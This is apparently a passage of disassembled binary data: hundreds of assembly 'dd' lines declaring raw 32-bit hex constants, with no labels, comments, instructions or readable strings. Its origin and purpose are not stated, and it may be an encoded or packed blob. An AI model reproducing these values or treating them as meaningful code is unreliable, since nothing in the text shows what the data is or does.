		dd 72BE0949h, 39C0F95Fh, 0D01D0A0Eh, 0BF83502Dh, 0E766703Dh
		dd 0A9D68B79h, 0CAB770D5h, 780DBF0h, 0A9630DCBh, 2DEFFDCh
		dd 30618397h, 61F5A2CFh, 4F400E8Dh, 0BB162634h,	6DB0D035h
		dd 0CEBA1C16h, 0FC7B3500h, 54850196h, 0B660D1D9h, 598DE1FEh
		dd 0B9291328h, 0FA40535h, 1BF90BDFh, 8C482FD6h,	1F3BEE20h
		dd 25B58D1h, 3BA4CEA7h,	0B7CD5D6Ah, 29001E0h, 81DD0252h
		dd 6A5AA3BFh, 0D978D353h, 1A9A0395h, 0E70820DAh, 0B0820ECAh
		dd 0C65E0B79h, 0B1646DEh, 57CBD5D1h, 719564B1h,	529C7AE2h
		dd 9DC70E80h, 0DFA0D1FFh, 6A70BB46h, 0E5200325h, 4AF11A8Dh
		dd 0E0044DFFh, 0E65F68FBh, 0BF602794h, 13CA5C80h, 0C8026A26h
		dd 3DFED718h, 2953C005h, 0D3E069BDh, 0F8904F5Bh, 95A080B8h
		dd 8892Bh, 0A6075686h, 21AB2B7h, 8E698405h, 0B5A2830Fh
		dd 0AC5FFC48h, 23C0DF1Fh, 0CA325DF4h, 85D800EEh, 3DF8319Dh
		dd 0AF09EA61h, 985236EBh, 0B67E91h, 0B1790802h,	5FA9F8CDh
		dd 90495BE2h, 5B8BCFCh,	0EB0D9CD5h, 16AD1789h, 8949F8A0h
		dd 57D3555Bh, 5976FB49h, 0B6C0191Ch, 18A20EACh,	656528FFh
		dd 0E9C8FA09h, 0CF425E9h, 3E88F8E5h, 0BFE32026h, 74866929h
		dd 2D2512DBh, 59147532h, 0F350B4BBh, 50849DCBh,	2CA8171Bh
		dd 2A278FC0h, 0EA72FCCFh, 3B21F701h, 0B17B1C3Ch, 6CBBF340h
		dd 174716BEh, 0E0BAA690h
		dd 172987D1h, 12BA9427h, 4BE4E231h, 0A000CE7Ah,	6E177D8Fh
		dd 2E016BEDh, 0BD8947E1h, 0CA2B3255h, 0D86E5AA3h, 2C2DBB05h
		dd 2F5CE1F0h, 0A4ED2A75h, 70056AA8h, 0C04C0979h, 27D0F956h
		dd 44800FFFh, 144CB702h, 1E2117C4h, 70C56C22h, 27317C46h
		dd 124505BDh, 5A6F1611h, 0B01C1848h, 0ADF78100h, 60956E9h
		dd 950170E6h, 0D89DC925h, 1D8F22AAh, 519782ECh,	516740A1h
		dd 0B800BC36h, 3EB02807h, 25C4002h, 1BE3A7E7h, 2474A1B5h
		dd 8662D391h, 24742C4Dh, 0E3A2A249h, 0B3C67738h, 0FFD8D10h
		dd 1B14E886h, 0BD000DF0h, 0CEAF47B6h, 0EE773258h, 21F90019h
		dd 8A5031E5h, 1AB70FEDh, 0E629F574h, 28C284FFh,	82095305h
		dd 5F0531FFh, 0B742D0FAh, 8A00BFD9h, 2B6DEFE4h,	32BD31C8h
		dd 0D18D1D51h, 132F269h, 998167E9h, 3987A7BBh, 49D4704Ah
		dd 44494E70h, 20B713DAh, 0F0663EA0h, 0E8A6EB2h,	3AFE1E19h
		dd 0D910234Bh, 22069103h, 0F02BF37h, 1F742BB6h,	75C0226Bh
		dd 44187449h, 0CE04531Eh, 16E9A85Ah, 0C286B786h, 6E135183h
		dd 15A22B35h, 158F8E82h, 31793653h, 0F598092Fh,	37975772h
		dd 0A1348012h, 3C924AA4h, 5AF453BFh, 94C01BD4h,	4875F5AFh
		dd 0B25A12F2h, 0FA985ED9h, 0B9F8A801h, 0CB0E52F1h, 0FD1B5A76h
		dd 8C1CA90Fh, 0FCDD2748h, 5FC2B8CDh, 85DE871Bh,	70B0DFCBh
		dd 5D02E381h, 2B37A2FDh, 0DC38DCD2h, 76C6D000h,	857D45B3h
		dd 815F00A0h, 0E55766D7h, 0BE09BB3Fh, 0D110E4FAh, 0B92E830h
		dd 0BD5D3061h, 0BA4D00B5h, 25B2D835h, 7F094A18h, 27DA4782h
		dd 374415A5h, 18BFB72Dh, 97DD8A33h, 0E202E09Ah,	0F955137Dh
		dd 0DBFFD2EEh, 539F50C0h, 81007B76h, 3B7224EBh,	0BBB5B74h
		dd 0D0A55CDh, 0F5C024EDh, 25488F45h, 0C1E57DF7h, 572C6227h
		dd 0D071C673h, 97C134F0h, 229A78CAh, 1469E1DFh,	33E1722Fh
		dd 131A561h, 2888E1FFh,	0F82D0B2Dh, 0C0149786h,	89978861h
		dd 0E36B65B5h, 390C45Ah, 957ABFh, 6917AE88h, 95A5AC8Fh
		dd 37F60FC4h, 0A154DD00h, 87342F44h, 785E12D2h,	8AC2F26Eh
		dd 9D045419h, 0BF1704E9h, 78491627h, 0D137973Ch, 36655525h
		dd 1E65042Dh, 2512E514h, 354BF328h, 0CEFB43D7h,	412A0086h
		dd 9BE009A5h, 92811706h, 1296F961h, 66B7FA8Bh, 0A9A5BD4Bh
		dd 85F9B92Bh, 16FF2B9Fh, 3374BB01h, 14819904h, 0FEB75004h
		dd 6EABD9D5h, 0D83E031Bh, 5AA0A8F5h, 7B9D2040h,	0DA01B403h
		dd 0B371AE3Ah, 0A94014CEh, 9D0902A2h, 7525BEF8h, 5D456013h
		dd 9F167B01h, 2C8DF090h, 782ED002h, 55E854DEh, 8A82BAFCh
		dd 563D7CF9h, 85896119h, 0BFBD64D5h, 61A6C009h,	0ADCB7153h
		dd 71979074h, 0EBC874EAh, 14C883CFh, 0DFE88DC4h, 0BC270D12h
		dd 48B6A549h, 6D11A7E0h, 29EAB300h, 815332CCh, 24B4ECCFh
		dd 165F1E9Bh, 0EE24BBBDh, 0F75FD4ACh, 2F2A1A8h,	0E723C741h
		dd 30F0342Eh, 0D3B304E6h, 8EBADC00h, 0B8295E25h, 0C709976Ah
		dd 0CB5F230Ah, 0B60EF50h, 2904460Dh, 955D70B5h,	0C5600011h
		dd 6896E61h, 22B82Ah, 5173716Eh, 15DBD4Ah, 20953F81h, 2E5F327Dh
		dd 0A4BBAC90h, 191095CEh, 0FD498D01h, 80C54A6Dh, 0FBB3A0F7h
		dd 75E410F9h, 802BCDDAh, 6848F072h, 12497EFFh, 91890FC1h
		dd 2B5B52ECh, 5093AC7h,	8BBD3E41h, 1897C6B8h, 2AB531AAh
		dd 95992C61h, 3A1F1764h, 0AF42685Dh, 5CBE9BF8h,	4585529Dh
		dd 618740DDh, 8C42CB81h, 7C51342Fh, 2872728Bh, 0C7EDB20Fh
		dd 0DF81071Ah, 6FB11020h, 8894955Bh, 0FCE75D4Bh, 67E4B3B0h
		dd 15088E09h, 209098F8h, 447607B1h, 20243EFAh, 16D3ADAEh
		dd 0E921031Eh, 70D03AABh, 1FB90256h, 5F52C769h,	74A1C7F7h
		dd 0AF35BDh, 0A16FA8AAh, 8002E8CDh, 6079C5ADh, 0C4C47F29h
		dd 0FD09615Ah, 42AE71CDh, 0B4BD0450h, 0A79DCB80h, 0E20B6D39h
		dd 1C6925BDh, 443EAAC7h, 13595F8h, 98801C91h, 0C242FB19h
		dd 0CD35D10Bh, 5D506B4h, 0CE7C95D9h, 0A91756D4h, 8DA54D05h
		dd 0EDA6C10Bh, 69810405h, 2D2E30A9h, 2A6A7AA3h,	76C74904h
		dd 559DC182h, 72AE041Ch, 5729B925h, 3000BAC4h, 0C053D65Dh
		dd 0AFF509h, 9A2D518Ch,	0CCBF0402h, 6D26E87Ch, 0E8AC941Bh
		dd 0AF2A5E2Dh, 255327Ch, 4C2A5271h, 2988BFDh, 77283529h
		dd 6DAD9245h, 0FEC840EEh, 1A15F990h, 0B8B0F807h, 58258C15h
		dd 95C2C6ABh, 84D6988Bh, 0A51507F6h, 0E062D885h, 0D25EF4BFh
		dd 7A9A315Bh, 79C016C8h, 25807847h, 97C257D7h, 2F581370h
		dd 2050123Ah, 9A36EAFh,	73B50687h, 81B5A594h, 5DFD400Bh
		dd 0DABBA4B0h, 6F6EDC1Ah, 0DB8C052h, 0E14D9723h, 0C0671AE4h
		dd 0A9D94D5Bh, 0BA9AE22Dh, 0D4C576E9h, 0DCB35F00h, 98ECBB9Ah
		dd 80F7804Bh, 10B16348h, 96251C25h, 0F3904890h,	0C2C69400h
		dd 0CE6B4D2Dh, 24F5165Ch, 3DF6FC6Fh, 0BB96010Fh, 0ED09810h
		dd 0F627F5AEh, 61E2DA4Fh, 97B60D00h, 89F0F88Eh,	7E39EBEAh
		dd 774A7483h, 715B5F09h, 75CA26Eh, 4A5F5C58h, 926A105Bh
		dd 375F11Ch, 808A8A4Bh,	89395E22h, 0CCC54A8Dh, 0DDC034A8h
		dd 9FAFDE55h, 0AC8C1C03h, 0B05352B0h, 9A1B4E0h,	0BBC41B24h
		dd 0FCD332A9h, 2FA2F770h, 29D06D41h, 0CF020532h, 4FB12010h
		dd 5C009FEFh, 0D446CF14h, 5D3F0A2h, 8B3AB9CBh, 0B28EEF61h
		dd 0D917973Bh, 7841AE0Dh, 0F63721DBh, 0F536312Eh, 0C2F9DD09h
		dd 71275A45h, 2241A538h, 82DD2B26h, 2A19B16Ah, 0BF67FE28h
		dd 67640D6Fh, 0BAD318B9h, 257DF76Ah, 0E110898Ah, 0C077451Ch
		dd 4385DE02h, 0D5F729B7h, 0F25F1718h, 39C21A00h, 3F6BDCB2h
		dd 9DFBC6C6h, 0C7958B49h, 9BCDA551h, 0A1CC2640h, 0AB98124Ch
		dd 0E6793310h, 0C968F5C8h, 0BF1A173Ah, 0C0BF00F2h, 5BB5EC5h
		dd 62A70161h, 0F44CE95Fh, 1B74C6FFh, 0F9B604DCh, 0EF30F5D0h
		dd 5C81BAC4h, 0BB032D4Dh, 776547A0h, 0C0C18B26h, 75D98489h
		dd 15917735h, 0B03F0785h, 0FF8222DAh, 5AA6CAC4h, 54184100h
		dd 48AF71F2h, 31A00497h, 0A990EC85h, 65A9B813h,	0BF603A40h
		dd 3057F78Ch, 0D37E505Fh, 6A5A6158h, 9BCCDF9h, 22369F03h
		dd 0AFBB66FBh, 1F0294FAh, 59061635h, 712700F1h,	72C3EBCAh
		dd 0AA99C700h, 8BD20210h, 0E6891211h, 0C48BFDF8h, 57B85BFAh
		dd 886E4Eh, 47B232D5h, 0BDCCB86Bh, 0AD04CF78h, 90522C67h
		dd 0A27B70CDh, 0A5F9A1C4h, 90F89751h, 0C374882Fh, 2EDB2000h
		dd 0D7819611h, 8D9E04BFh, 0B96A5F04h, 17B5BC02h, 4D2ED5Fh
		dd 120FC1D7h, 0AF032908h, 7B5F7309h, 0A7D378DDh, 8D315F04h
		dd 12815C9h, 1B29BD12h,	2FD42DEAh, 6800AF6Ah, 0A3076C5h
		dd 0CC170BBEh, 30AA3F14h, 159D232Bh, 0D1870464h, 0CA4ACAA8h
		dd 2E3135ABh, 0C2D09BAFh, 40DCEE86h, 1F2BD6E9h,	3990026Ah
		dd 0A73AF85Eh, 0C93E991h, 294916C2h, 0A4012E69h, 46E60B12h
		dd 23171800h, 320497BCh, 0CFB18B00h, 0D676039Dh, 0F6B59546h
		dd 61801D91h, 6429B214h, 8BEFFB05h, 40C172DCh, 2335786Eh
		dd 0FBB50F0h, 1314817Bh, 0F36EFE56h, 5484BF00h,	0F7D37CEh
		dd 42405197h, 0C4163461h, 726F11Ah, 0B748D09h, 23D96FAEh
		dd 3C50314h, 454875BDh,	0B95A7931h, 2910A1EDh, 32D9841Dh
		dd 832060BEh, 0AE2534B8h, 45AA6C0Bh, 0A1AC2001h, 18B037CEh
		dd 0A083F15Eh, 9E6DAA7h, 71E4F970h, 0AA564B29h,	12A856E5h
		dd 3FBFADC0h, 9C0566C3h, 0B6A48DB4h, 0C7C7D4EEh, 0AE34942Eh
		dd 0D780B660h
		dd 0A5C4953Dh, 8508F842h, 104C14C9h, 8B134005h,	0C05CD14Ch
		dd 0CAFDF6EAh, 0DDD6000Fh, 0C92CB43Dh, 0EC1E95E3h, 37DD59F2h
		dd 3189E98Ch, 86DE0BBFh, 2F871F54h, 2021B4Ch, 7056A2B7h
		dd 4339027h, 0FB8F028Eh, 46BAE428h, 0F8A01157h,	2579482Bh
		dd 0CB0D9BA0h, 1355E9DDh, 8A165720h, 9001E7D1h,	8065A1D7h
		dd 3082C0h, 224D9AA6h, 0E6F37AE0h, 8ECCB24Ah, 0D1951231h
		dd 9BCBAF27h, 0A273F525h, 0C3DF7CA5h, 0F8283DE7h, 9DEC7395h
		dd 4EC415Ah, 0F9E7FB1h,	0EB2E7292h, 0B60667Dh, 8C0FF560h
		dd 615AB318h, 0C6CC6AF9h, 7D220098h, 19B1ED0Ch,	5195CE32h
		dd 30464B80h, 5BA4B312h, 4599EB7h, 7313BAACh, 59527CB9h
		dd 0A400E86Fh, 5085ED38h, 231671BEh, 33BE0E36h,	5B8B57B9h
		dd 2EE18389h, 0A5B8E2F9h, 1442F90h, 9582EEF9h, 889F591h
		dd 118D2E29h, 9BFC97A4h, 36F680B3h, 130AE1FBh, 0E6AE2835h
		dd 0F99D0807h, 0C02B090Dh, 1B00ABD9h, 30B9B18Dh, 0FC7500F7h
		dd 2E55EDC8h, 8817082Bh, 0F5A1606Eh, 0D371203Fh, 0CA955B61h
		dd 7A6DDDF8h, 0F659D2E0h, 53220B62h, 0D55EB531h, 5045F96h
		dd 6DAF87AFh, 1FF92E1Eh, 0D000B4A8h, 0F2E1D366h, 0B72EE53Ch
		dd 0B80057C4h, 8A6B29C3h, 0D1E736h, 0FE7BD3E0h,	0AD9D2B61h
		dd 539D156Bh, 11807031h, 0BF329001h, 0EB9372Ah,	9A88C642h
		dd 6DEAD7CEh, 46D658DCh, 9780119h, 0C59BF55Dh, 0A9D6FD2Ah
		dd 2D7C9C7Fh, 0BDBC510Bh, 2F55F8AFh, 387C13EBh,	0DBCCAF5Dh
		dd 0E03E1E03h, 0F0C6FE86h, 4AB589B3h, 0AA53C4BDh, 481788Ch
		dd 5BB093DBh, 0A24CB872h, 7AA11F43h, 45D4AF80h,	0BFBF0D48h
		dd 46FD83E2h, 6992C4B6h, 927BBD2Bh, 653F98EFh, 0CA4A3242h
		dd 95FC224Ah, 0A5A4494h, 41B0F3E7h, 62012E9Ah, 0C636CBAAh
		dd 0B089DE8Ch, 0FD5C17B1h, 7B2E9C71h, 880C007Ch, 0FF037462h
		dd 0D781012Dh, 0E796C93h, 0F2983660h, 2C785C4Ch, 609DEB0h
		dd 705BF857h, 65AF9596h, 25EE4C91h, 0F24ECCF4h,	0C1AD12B5h
		dd 1729E375h, 944E5750h, 0BFC13D5Fh, 4D586FF7h,	0C0DB9E3Bh
		dd 0F5E9CBA3h, 8978028Fh, 8D3150AFh, 3A4E6D6h, 0EEE82D13h
		dd 3F13E886h, 0D2E2BE4Eh, 0B700BF92h, 0BE5334CBh, 5FD90012h
		dd 0B9A4D568h, 2EF18A6Ah, 0A72A4403h, 381CCA6h,	0E82A2331h
		dd 0EBF6A462h, 0B50190A0h, 0E801CD4Bh, 1F4D9D23h, 0E9B89C6Bh
		dd 0DEE8EC5Eh, 3915D584h, 0D9B1FE36h, 20362123h, 294B3308h
		dd 55A95085h, 8E7155ECh, 0FB50B12Ah, 0A7E25B5Ah, 2C5BDEA8h
		dd 8A40CABCh, 0BE314AC1h, 8CEBA265h, 18009271h,	2297FACFh
		dd 9F895512h, 0DC78AEF3h, 0A0F0BCEh, 38DFF6F3h,	9703EDD2h
		dd 86786412h, 0BD501340h, 2A32BD51h, 94A45DC1h,	0F07EAEB5h
		dd 0A8A3D500h, 0BE48402Eh, 74E3B94Bh, 0D75D680Eh, 0C4773969h
		dd 0D4A21EE4h, 8637AD77h, 0D3EA1D00h, 1322B3A5h, 0B294AD6h
		dd 375D27C7h, 813EAB82h, 8529B03Bh, 0D62C91h, 0D2BF6090h
		dd 0CE61EC86h, 0FB96F9C6h, 0BDD98C26h, 0F4AD7165h, 0D9DC093h
		dd 57009442h, 3C022227h, 25D46F95h, 0CD905185h,	450E77D7h
		dd 0A0DD4009h, 3D8671ABh, 9050CA5Fh, 46FE8014h,	127AC955h
		dd 27C1DD04h, 0E7AB537Ch, 0ABEF05Eh, 3C433FDCh,	0F2D85898h
		dd 0AF5A2DBBh, 6BEDAAE9h, 0B4739460h, 0A282254Ah, 975FB6DFh
		dd 7D40E0EDh, 4786CCDh,	4D88FDFCh, 86F2BF53h, 5EE5007Dh
		dd 2EC5D069h, 640E7F5Bh, 0D6A4E8C1h, 21E90305h,	95109FE2h
		dd 0BECE4A32h, 0C0A55AE9h, 7B3FE764h, 878F384Ah, 69BC99C9h
		dd 0F1B38512h, 0EA92CFE2h, 0A73699F1h, 0F57D75F0h, 6CD1BB03h
		dd 0BD26FA9Ch, 7108CD49h, 71C4C6D3h, 1D2C897Dh,	9945BB34h
		dd 66A0CEF8h, 5B4B95BFh, 95F9B88Ch, 3D55DE8Bh, 0F699807Dh
		dd 6C7ECAA2h, 56C11A9Fh, 0E3806190h, 0D8136BF1h, 0A7D84949h
		dd 4B9081CDh, 0A40395EFh, 0A6BB0457h, 0B81B0FB0h, 4660C957h
		dd 0B9E6BD5Ch, 0B0457ACFh, 4A91B65Ah, 37309FBh,	76346C77h
		dd 8C614BB2h, 194AB73Ch, 18ACC7FDh, 13599D8Ch, 577E1A25h
		dd 0FFDA1C80h, 9D3209E1h, 5C619385h, 934D2F24h,	2CCA88C1h
		dd 8C2D356Ch, 2B226FC1h, 6A5ECAF6h, 0F5BD00FFh,	33137EFBh
		dd 0BE5EC4E2h, 0D24FB8CCh, 0F93431B3h, 0B8DEB966h, 0FE5D0788h
		dd 49B70FD3h, 523F012Bh, 75EB8403h, 9819488h, 9002171h
		dd 265A0185h, 0FC12B2E7h, 0CA100050h, 0CDD262BAh, 1A61222Eh
		dd 0D7313D62h, 752FD816h, 0DEB17407h, 0DD33097h, 92F528BAh
		dd 78525DDh, 1FC48159h,	6F7E574Dh, 505B4544h, 3EB20AAh
		dd 0EA05EE2Ch, 0E5042086h, 6702D1F5h, 9D6398DEh, 0F7649D95h
		dd 7408712Fh, 0CF7BE861h, 16180F4Ah, 0A038B8C1h, 0C051B509h
		dd 28A2BB49h, 94954EAAh, 0B7325ABEh, 35FDB19Eh,	81BF302Bh
		dd 0E2120BEFh, 89B2286Dh, 0E507DD11h, 4E36AEEh,	0B5015D92h
		dd 6016B6ADh, 7420EE29h, 2561CA8Ah, 7B607FE9h, 4605C780h
		dd 21959D01h, 0B6C634ABh, 60E2A102h, 395951C4h,	2CBB533h
		dd 8D0F617Ah, 0CE87ABD9h, 0D0CB10B3h, 0E81C5E0Dh, 6AEEB522h
		dd 8F7B0B5Bh, 6C6842Eh,	2D7E1B4Bh, 4432D449h, 160512F9h
		dd 0E0D4F10Bh, 5FB8DEBDh, 0E5154D05h, 0E1F218ADh, 555DA900h
		dd 4383995Eh, 0D275D504h, 13FE0C54h, 0AD6AF133h, 0D01D5BF5h
		dd 5C1F8CACh, 8F455273h, 5DB10511h, 6EB9923Dh, 291773F6h
		dd 0B67EC8B7h, 0F483FC0Ah, 3901D1FDh, 0F5061644h, 0A6A8132Bh
		dd 71F3E1A3h, 9168A66h,	507AB48Dh, 440B361h, 36303124h
		dd 0D98B801Bh, 0B1AD6A5Bh, 0B660B8BCh, 0B9BD2B3Ah, 0B777970Eh
		dd 60161734h, 0B08F484h, 0E7090DB8h, 5913C755h,	0BB099675h
		dd 35BF5920h, 2D4AE69Fh, 3137D1FFh, 0BF31DA00h,	1F3B093h
		dd 4D50CAB4h, 0F2498529h, 135C6755h, 0A47BAFD4h, 7D25FE4Ah
		dd 13055B04h, 0DEC3024Ah, 0C494F025h, 89F209E4h, 0E4D56101h
		dd 965C00B0h, 9F875774h, 5B12FCA4h, 79E86090h, 0EF22FE8Fh
		dd 1760A06Bh, 185E7CBEh, 0A3000FB2h, 0DD6E473Fh, 6100A9C5h
		dd 8DADBB50h, 94903717h, 0A91DDC1Bh, 0B789C0AAh, 0D6847652h
		dd 0C5001C46h, 71B2ACE6h, 6604F06Fh, 259D89F3h,	97E9BDD1h
		dd 84A5B32Ah, 2E184443h, 0EF9D1D05h, 6E744033h,	60977AACh
		dd 97A585BEh, 0BD012A18h, 60091D30h, 165FBF90h,	0AC5C722Fh
		dd 2B4FC1F0h, 84E84BDBh, 0CE8C7h, 0E13D7863h, 73436134h
		dd 6D900B2Fh, 6702C0A6h, 0D49A098Ch, 0F5D6C2BFh, 48A8DBE5h
		dd 0C530A925h, 91BD8421h, 0D91BB922h, 339F2118h, 49BB5E6Ah
		dd 837748CDh, 0EC3199AAh, 9F07127Ah, 5C270DE6h,	0B3E06E7Eh
		dd 9170E669h, 0ACD68580h, 0CD84FEC2h, 1F6AE6BBh, 29835AD5h
		dd 25245D9Dh, 21C05F54h, 0F9042BBBh, 4D19509h, 1732E2EBh
		dd 9B90122h, 0E469EA82h, 4FE2B1C0h, 48BE164Eh, 5164FE27h
		dd 1C457A9h, 8F5B0B03h,	89BA3206h, 8D6974h, 28F0D157h
		dd 974083h, 0B7215B68h,	0D86204C7h, 0E5CF8909h,	4B49709Fh
		dd 9D32EB60h, 0EC0E18Bh, 7EBF6100h, 644A23E0h, 0A90544BBh
		dd 0D1852703h, 0B23212BFh, 2210302h, 0F8C744F9h, 3798A74h
		dd 0E130B43h, 4DD8E66Eh, 0BF969AE9h, 0EA570944h, 5154C636h
		dd 0EA2BB2DEh, 5685FA4Bh, 0F249169Dh, 7BB80268h, 85AAEC2Dh
		dd 0BB53B985h, 0C40729A0h, 1731F9AEh, 0BB87E8F4h, 0ACD30477h
		dd 2277B919h, 33BB050Dh, 0AE49A9D1h, 0DFBF1231h, 874A67Bh
		dd 0E605CD95h, 0B09312Dh
		dd 57290D9Dh, 3139916Ch, 71082DB5h, 0F9C24D12h,	805C0615h
		dd 4BFD8A77h, 0FB6898F9h, 2E01AD40h, 69CDD99Dh,	9A956B70h
		dd 9CFE5724h, 0A1184E6Ah, 5D8811Bh, 4DB5A558h, 11CFF161h
		dd 0D294B9EDh, 0DD25D944h, 2CAA5332h, 794CD62Bh, 70FC4E2Fh
		dd 0B7D7FC89h, 0EDFA00BCh, 9D4BC67Fh, 0E4082717h, 4A6DD9E0h
		dd 0D3B0AC0Eh, 0D900A96Bh, 0C59E90CDh, 0D25D2BECh, 0FC48BCFEh
		dd 31AF0290h, 0C073AA7Ah, 0D3DAD756h, 46FF5A35h, 81D39848h
		dd 0A63B25E8h, 0F0A603DFh, 0A8DA1897h, 126A72ACh, 0EE8BE3C3h
		dd 0ED121E89h, 0BA510928h, 4E51722Fh, 936CFD5Bh, 813D24EBh
		dd 7A31FD73h, 1DB2F5F6h, 0E0CFB9B1h, 0F7028A32h, 8208554Fh
		dd 5EA156E8h, 62601DADh, 4CA335Bh, 922ECE5h, 82AEC187h
		dd 0BBF51301h, 840D4889h, 0AA64562Ch, 0CA5B4A7Eh, 814F22A7h
		dd 0A33ED999h, 3DB50998h, 0E9D35430h, 0C1C7A3CDh, 0ECD13BE0h
		dd 92F44D6Eh, 0C3F9B7C5h, 7E4150Bh, 8DB3E1FFh, 8B232702h
		dd 45CF945Dh, 3DC842CFh, 8B33E777h, 593B03D7h, 2FBD9D8h
		dd 5E135B09h, 449B594Fh, 0B0CC5387h, 218D4C29h,	0CDB7608Bh
		dd 65D40F87h, 0EE47BF60h, 0C5B14A93h, 0D24C1C87h, 208DAE17h
		dd 770E6A2Eh, 0CC493E01h, 0FA8BE5D2h, 8F91482Bh, 652596A8h
		dd 0E07D5632h, 0B0DDFDBFh, 93CC204Ah, 0D59D2C23h, 0BB90803Bh
		dd 1E87D0CAh, 67095076h, 0F00CBD15h, 0B0F868E7h, 3071DE8Ah
		dd 5E02E401h, 0A6E843A8h, 40D52D60h, 0C809680Dh, 506333C4h
		dd 0C7371D1Eh, 3ECDEB2Ch, 0F189CFBDh, 0B254383Fh, 8249DC7h
		dd 8CD65CADh, 349E9CCh,	57F82533h, 7C2E3BB5h, 89DCD8C0h
		dd 599895DBh, 8612AABBh, 3AB30F21h, 7585090Eh, 27DDAEB3h
		dd 3593ECDEh, 5C12909h,	0AA54D70Dh, 1523236Bh, 86132A09h
		dd 9575F90Ah, 1C0E170Bh, 7E8E4871h, 0BF502801h,	26426882h
		dd 0DB4F9D68h, 5B218008h, 42882C8h, 0D8C67AA5h,	0D23DAC6Dh
		dd 3DADCAABh, 7740CF52h, 4BDA477Bh, 9D5E0031h, 3EDF125Ch
		dd 7A00ED37h, 1BD7BB7Eh, 955B3039h, 60CDBB30h, 3D6C3Ah
		dd 0E0D863ACh, 3EE88350h, 61A5A9E6h, 61D7AD43h,	2AD38B66h
		dd 6F3DB120h, 7EBA032Ch, 0C701F7DCh, 2FE347AAh,	50E143h
		dd 3BFA1F1h, 0D3D158h, 61978FDAh, 0BAE0623Ch, 5F32B312h
		dd 0E18B0EB4h, 0FD4E8E62h, 58FAC5E5h, 9CE1C8A6h, 739A6A79h
		dd 0AC01DC8h, 1767AB5h,	27DD303Fh, 2851AEC8h, 905F1962h
		dd 1378F9A4h, 0B1BED739h, 0FE7C885Eh, 419B3100h, 0A106BB24h
		dd 57500C6h, 0E21A027h,	90E261ACh, 4508DBB6h, 605F001Fh
		dd 29A607BEh, 0B7B60209h, 19ED7761h, 4A964C49h,	0E38B02CDh
		dd 0E9516BA5h, 0AFBA5F03h, 0E14FE0BBh, 98910016h, 229C34B6h
		dd 62F0D19h, 0C0D66D61h, 65F51FB5h, 0D67D9C09h,	0BC3DDF33h
		dd 0FB801D91h, 0EBACF5F4h, 0D5DB7D04h, 7EA8E95Dh, 357E2EA3h
		dd 69E14470h, 5C16BC62h, 407FB0D7h, 0BD38890Ah,	86CE4AC1h
		dd 0F3F13EE9h, 8B7AAF2Eh, 0EC81E728h, 35B58808h, 0EFA3045Ah
		dd 66828E88h, 9613F7BFh, 0B77D5BCDh, 9DB6B0BEh,	9AEF0064h
		dd 0F334AB4Ch, 8D1009F8h, 330B0FD5h, 0E7A9699Dh, 0E0136FD7h
		dd 0E9A352A0h, 0B0977797h, 9E9F4625h, 21DA40A0h, 2F02EC80h
		dd 0B4677A2Ch, 0DE35D5EEh, 91811791h, 339C13C1h, 12EC5EBBh
		dd 0B061DD8Fh, 0EBD0FA7Eh, 2AA71E81h, 5F892FB8h, 570ABADFh
		dd 3040144Dh, 24159806h, 13033302h, 3F56D803h, 4C56C824h
		dd 78D1AF00h, 0B0A88B6Bh, 0A42802A5h, 0A0AE7B23h, 0AC3FC4FEh
		dd 70A4A8F4h, 91822ADEh, 7EF3BDF7h, 13919D8h, 0CC80415Fh
		dd 6AF1B7FBh, 19C839DAh, 63DCAAC0h, 0BE9A4EC8h,	6FAB8025h
		dd 0C2B305B1h, 74AB5198h, 0C0D09A49h, 9522C066h, 16A91735h
		dd 0B6B41689h, 0CB1B3DC2h, 0FC42778Dh, 0BFD12B8Dh, 87AAF680h
		dd 1B28B8h, 2CC01098h, 0E4250CB5h, 21B1A14Eh, 0A915BD2Bh
		dd 2DB0C55Ch, 0CE60E810h, 98307C1h, 6146D4A9h, 94DFD21Ah
		dd 0AD8D0106h, 0B35BE270h, 0A87B2E98h, 9582EF00h, 8E0F52F8h
		dd 2B824C94h, 403A59Dh,	12ADB85Fh, 89E3AEB3h, 6CD38101h
		dd 2B359451h, 0EE01C8h,	0ADA3482Bh, 9BDA77B6h, 0C8F45000h
		dd 4DA818F5h, 13CE12B8h, 18A8E343h, 0BBBE2EB3h,	0C07614A2h
		dd 4D12CD46h, 85EAF20Dh, 0A0E3DA8Bh, 9D095002h,	115C0F79h
		dd 5189ADBAh, 0F0E74772h, 6F37E015h, 0A1F6E609h, 0C4D02956h
		dd 0FF7A46h, 0A2F8407Eh, 0B76AEEACh, 0E294672h,	2902435Fh
		dd 5512698Dh, 15E4E86Dh, 3F98A361h, 0C1BF78C0h,	1F1125B1h
		dd 531389C5h, 3987BEAh,	0F31248C4h, 0C8F5C39Eh,	659501B4h
		dd 0AF50C585h, 1800757Bh, 9B4E315Bh, 0CACBF4A4h, 7C95DDDBh
		dd 23129840h, 0ED3F0249h, 0ECAC68B2h, 0E71BAC60h, 0B3DA1897h
		dd 677BBDD6h, 90581A59h, 0D14A025Dh, 0DD77FF8Dh, 540EB7Eh
		dd 0F94CBC0h, 68151E3Eh, 0ACF1A9B6h, 0F2BF8C1Ah, 8DD70110h
		dd 4DBD2B35h, 0D7E37A28h, 55984089h, 30B531B9h,	145793Ah
		dd 3BDF359Bh, 3B0A1B02h, 17B236F6h, 76F96230h, 44C64EE4h
		dd 0BC0D2F13h, 0BEB0B42Bh, 7695C934h, 4DE68B55h, 2EFDC046h
		dd 1A055643h, 0EF6128EEh, 0D1A9F607h, 49C69430h, 0C18B2502h
		dd 0BD703D73h, 0E92711FFh, 0E4F1000Ch, 0A2BC60FDh, 5DA80288h
		dd 0BA66115Eh, 81F00E00h, 0A62DDDEAh, 891401AFh, 57213D95h
		dd 233FFD4h, 16527B86h,	5B55A142h, 0C3E44B07h, 0C22B5819h
		dd 903EF01Ah, 5A4D38B9h, 4FC70F48h, 3C509720h, 81D01D03h
		dd 1945993Ah, 38683284h, 1B10592Dh, 924CD9E9h, 8CFFC8Bh
		dd 3061499h, 0EF4F3C40h, 231C288h, 627D8B1Eh, 333E112h
		dd 5B61F805h, 0D1030C1Ch, 0F1792095h, 0C408F678h, 2277112h
		dd 8B058F64h, 13895F6Dh, 0E962A39Ah, 81107B40h,	14B0A928h
		dd 3359B5C1h, 7920C3C0h, 111D25B9h, 75E95F7Eh, 47002679h
		dd 9AA7D268h, 0F288FD4h, 188208D0h, 0D3EB0C19h,	2FD8988Dh
		dd 39DA1653h, 0FB893240h, 0F524E262h, 13A32D72h, 0AF8465FCh
		dd 0E0E04FF6h, 0D216AA53h, 4F05BFA3h, 9DFB0B95h, 91CC7B5Bh
